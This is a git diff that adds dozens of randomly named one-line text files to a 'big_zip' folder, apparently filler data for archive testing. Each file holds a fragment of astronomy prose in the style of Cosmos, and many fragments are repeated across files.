diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_vtkzckemwkrfoafmtxtqcyqp.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_vtkzckemwkrfoafmtxtqcyqp.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_vtkzckemwkrfoafmtxtqcyqp.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_wehuqygyhgvqdehyijrlsrs.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_wehuqygyhgvqdehyijrlsrs.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_wehuqygyhgvqdehyijrlsrs.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dibmlqfuzmypvtkzsxp.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dibmlqfuzmypvtkzsxp.txt
new file mode 100644
index 0000000..ac65aa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dibmlqfuzmypvtkzsxp.txt
@@ -0,0 +1 @@
+published scientific and popular articles, Dr Sagan was the author, co-author or editor of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dkmqarxxrdqacz.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dkmqarxxrdqacz.txt
new file mode 100644
index 0000000..e2d5749
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dkmqarxxrdqacz.txt
@@ -0,0 +1 @@
+interstellar distances. Ideally, the method should be inexpensive, so that a huge amount of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dxaosznabxso.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dxaosznabxso.txt
new file mode 100644
index 0000000..aba2545
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/dxaosznabxso.txt
@@ -0,0 +1 @@
+There is a real and unsolved mystery here. The low solar neutrino flux probably
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_ajdfgbakmdx.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_ajdfgbakmdx.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_ajdfgbakmdx.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_djbjoscyilhxnskrjllvltfq.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_djbjoscyilhxnskrjllvltfq.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_djbjoscyilhxnskrjllvltfq.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_enswqqjmkkidgdnulv.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_enswqqjmkkidgdnulv.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_enswqqjmkkidgdnulv.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_mwgsdyqqddvssf.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_mwgsdyqqddvssf.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_mwgsdyqqddvssf.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_myzcwdyecpbjwkkpfdbhh.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_myzcwdyecpbjwkkpfdbhh.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_myzcwdyecpbjwkkpfdbhh.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_nppcluby.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_nppcluby.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_nppcluby.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_offuwxuqme.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_offuwxuqme.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_offuwxuqme.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_qdulzzmfzij.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_qdulzzmfzij.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_qdulzzmfzij.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_qkxbmxvpgdemmh.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_qkxbmxvpgdemmh.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_qkxbmxvpgdemmh.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_svcwnkzlegaabjtf.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_svcwnkzlegaabjtf.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_svcwnkzlegaabjtf.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_uuvlicfdvqgvaasjkqggmk.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_uuvlicfdvqgvaasjkqggmk.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_uuvlicfdvqgvaasjkqggmk.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_wttourxmshucgpxcvwyl.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_wttourxmshucgpxcvwyl.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_wttourxmshucgpxcvwyl.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_yefbznevouvljggmaqwt.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_yefbznevouvljggmaqwt.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_yefbznevouvljggmaqwt.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_ymtyonlvldukdpdebv.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_ymtyonlvldukdpdebv.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_ymtyonlvldukdpdebv.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_zrfwdtekbxryvmqlbgfojwr.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_zrfwdtekbxryvmqlbgfojwr.txt
new file mode 100644
index 0000000..20392c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/file_zrfwdtekbxryvmqlbgfojwr.txt
@@ -0,0 +1 @@
+There may be a million worlds in the Milky Way Galaxy alone that at this moment are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/jjdinxvqc.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/jjdinxvqc.txt
new file mode 100644
index 0000000..4a2a4c7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/jjdinxvqc.txt
@@ -0,0 +1 @@
+Late one spring a large party of Tlingit ventured North to Yakutat to trade for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/jwfitcyjyyidfffsblnl.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/jwfitcyjyyidfffsblnl.txt
new file mode 100644
index 0000000..9233c33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/jwfitcyjyyidfffsblnl.txt
@@ -0,0 +1 @@
+explosion, not many people died. Of course, the radioactive strontium they ate was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ltvnbektapgoclassx.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ltvnbektapgoclassx.txt
new file mode 100644
index 0000000..ea83fda
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ltvnbektapgoclassx.txt
@@ -0,0 +1 @@
+The connection between the solids of Pythagoras and the disposition of the planets could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/mndjjgyy.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/mndjjgyy.txt
new file mode 100644
index 0000000..a4d4ae1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/mndjjgyy.txt
@@ -0,0 +1 @@
+names like Clark Gable and Jean Harlow. I complained, and for some reason then obscure
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/octkaynobafpylu.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/octkaynobafpylu.txt
new file mode 100644
index 0000000..6cdfedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/octkaynobafpylu.txt
@@ -0,0 +1 @@
+Today we have discovered a powerful and elegant way to understand the universe, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ogfhzphgre.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ogfhzphgre.txt
new file mode 100644
index 0000000..618eb5e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ogfhzphgre.txt
@@ -0,0 +1 @@
+Perhaps the paradox can be resolved by imagining two or more nearly simultaneous Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pinzpshbnwvihbpceeyxj.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pinzpshbnwvihbpceeyxj.txt
new file mode 100644
index 0000000..733a003
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pinzpshbnwvihbpceeyxj.txt
@@ -0,0 +1 @@
+when we are, in fact, visiting other worlds and engaging in a deep reconnaissance of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pipudojpdfmxmxuethgns.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pipudojpdfmxmxuethgns.txt
new file mode 100644
index 0000000..a62ae0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pipudojpdfmxmxuethgns.txt
@@ -0,0 +1 @@
+announced that his life was far behind him; for the common good he would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pkjnpygstzcndqenkq.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pkjnpygstzcndqenkq.txt
new file mode 100644
index 0000000..80b41db
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pkjnpygstzcndqenkq.txt
@@ -0,0 +1 @@
+then there are probably more pressing needs here on Earth. But I have no doubt that, if we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pllubaxsyncou.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pllubaxsyncou.txt
new file mode 100644
index 0000000..1881d40
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/pllubaxsyncou.txt
@@ -0,0 +1 @@
+arms and with the words ‘In the depths of the ocean is our capitol,’ sank with him at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/rksaeiwlbiipuojfgblgp.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/rksaeiwlbiipuojfgblgp.txt
new file mode 100644
index 0000000..bc2451c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/rksaeiwlbiipuojfgblgp.txt
@@ -0,0 +1 @@
+sometimes asked, ‘Are you a Gemini?’ (chances of success, one in twelve), or ‘What sign
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ruwvotkje.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ruwvotkje.txt
new file mode 100644
index 0000000..dc32186
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/ruwvotkje.txt
@@ -0,0 +1 @@
+million volumes, as many as in the world's largest libraries. The equivalent of twenty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/silqbcaolatuhjvspdvlcii.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/silqbcaolatuhjvspdvlcii.txt
new file mode 100644
index 0000000..932476a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/silqbcaolatuhjvspdvlcii.txt
@@ -0,0 +1 @@
+bodyguard. Alexander encouraged respect for alien cultures and the open-minded pursuit of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vnquxodufk.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vnquxodufk.txt
new file mode 100644
index 0000000..1bd2dc3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vnquxodufk.txt
@@ -0,0 +1 @@
+urged the burning of all the books of Democritus (he had a similar recommendation for the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vnsvulalwnlkouznyjw.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vnsvulalwnlkouznyjw.txt
new file mode 100644
index 0000000..7509dba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vnsvulalwnlkouznyjw.txt
@@ -0,0 +1 @@
+were moved from their original position about 1,000 years ago. A spiral a little like a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vteafxrrnn.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vteafxrrnn.txt
new file mode 100644
index 0000000..952a1ba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vteafxrrnn.txt
@@ -0,0 +1 @@
+what looked like dust. It was wreathed in little puffs, and blue streamers were left
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vubwboyiqvsmbbpna.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vubwboyiqvsmbbpna.txt
new file mode 100644
index 0000000..99634bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/vubwboyiqvsmbbpna.txt
@@ -0,0 +1 @@
+the upper right hand is a drum whose sound is the sound of creation. In the upper left hand
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/wchbmfnvp.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/wchbmfnvp.txt
new file mode 100644
index 0000000..a594d18
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/wchbmfnvp.txt
@@ -0,0 +1 @@
+The Earth seems steady, solid, immobile, while we can see the heavenly bodies rising and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/zdzmonnvnzwbrhzyr.txt b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/zdzmonnvnzwbrhzyr.txt
new file mode 100644
index 0000000..ee86422
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/folder_uefnhdzhjr/zdzmonnvnzwbrhzyr.txt
@@ -0,0 +1 @@
+make millions of suns, plummeting out from the galactic core, as if a mild explosion
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_alvnsmvfgp.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_alvnsmvfgp.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_alvnsmvfgp.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_avophxrhncnbyr.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_avophxrhncnbyr.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_avophxrhncnbyr.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_bxbglalguhvraov.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_bxbglalguhvraov.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_bxbglalguhvraov.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_dopzlmevwbiorwyr.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_dopzlmevwbiorwyr.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_dopzlmevwbiorwyr.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_ezsvpsjlsujsvirq.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_ezsvpsjlsujsvirq.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_ezsvpsjlsujsvirq.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_feuwdvpvexf.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_feuwdvpvexf.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_feuwdvpvexf.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_jagrxzwoawlbmse.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_jagrxzwoawlbmse.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_jagrxzwoawlbmse.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_koxqjjglr.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_koxqjjglr.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_koxqjjglr.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_lgvjrpuiaklfcuf.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_lgvjrpuiaklfcuf.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_lgvjrpuiaklfcuf.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_nlfnyjmxptoed.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_nlfnyjmxptoed.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_nlfnyjmxptoed.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_oaufldzvouafipnubt.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_oaufldzvouafipnubt.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_oaufldzvouafipnubt.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_ojrfhcpwkkkmuifjvcv.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_ojrfhcpwkkkmuifjvcv.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_ojrfhcpwkkkmuifjvcv.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_pbhsnzmiq.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_pbhsnzmiq.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_pbhsnzmiq.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_rnjyacwgc.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_rnjyacwgc.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_rnjyacwgc.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_rwtqgscnn.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_rwtqgscnn.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_rwtqgscnn.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_sdszrcbcnbtorusxsr.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_sdszrcbcnbtorusxsr.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_sdszrcbcnbtorusxsr.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_shdhhubgylwscz.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_shdhhubgylwscz.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_shdhhubgylwscz.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_shjeggdeztjgyv.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_shjeggdeztjgyv.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_shjeggdeztjgyv.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_tgzxtpopye.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_tgzxtpopye.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_tgzxtpopye.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_uslfriioqmsvcxjybvyg.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_uslfriioqmsvcxjybvyg.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_uslfriioqmsvcxjybvyg.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_wykqpbzhsyndxbdbfprqiht.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_wykqpbzhsyndxbdbfprqiht.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_wykqpbzhsyndxbdbfprqiht.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/file_xrlnhomlcuvgzdg.txt b/big_zip/big-zip-files/folder_vlsainekkd/file_xrlnhomlcuvgzdg.txt
new file mode 100644
index 0000000..8bf103c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/file_xrlnhomlcuvgzdg.txt
@@ -0,0 +1 @@
+away, you would not see the Earth and the other planets at all; they would be only faint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_bejkrfagphpvq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_bejkrfagphpvq.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_bejkrfagphpvq.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_cscbbjcmqykolcxpgfcgq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_cscbbjcmqykolcxpgfcgq.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_cscbbjcmqykolcxpgfcgq.txt
@@ -0,0 +1 @@
+universe we inhabit.
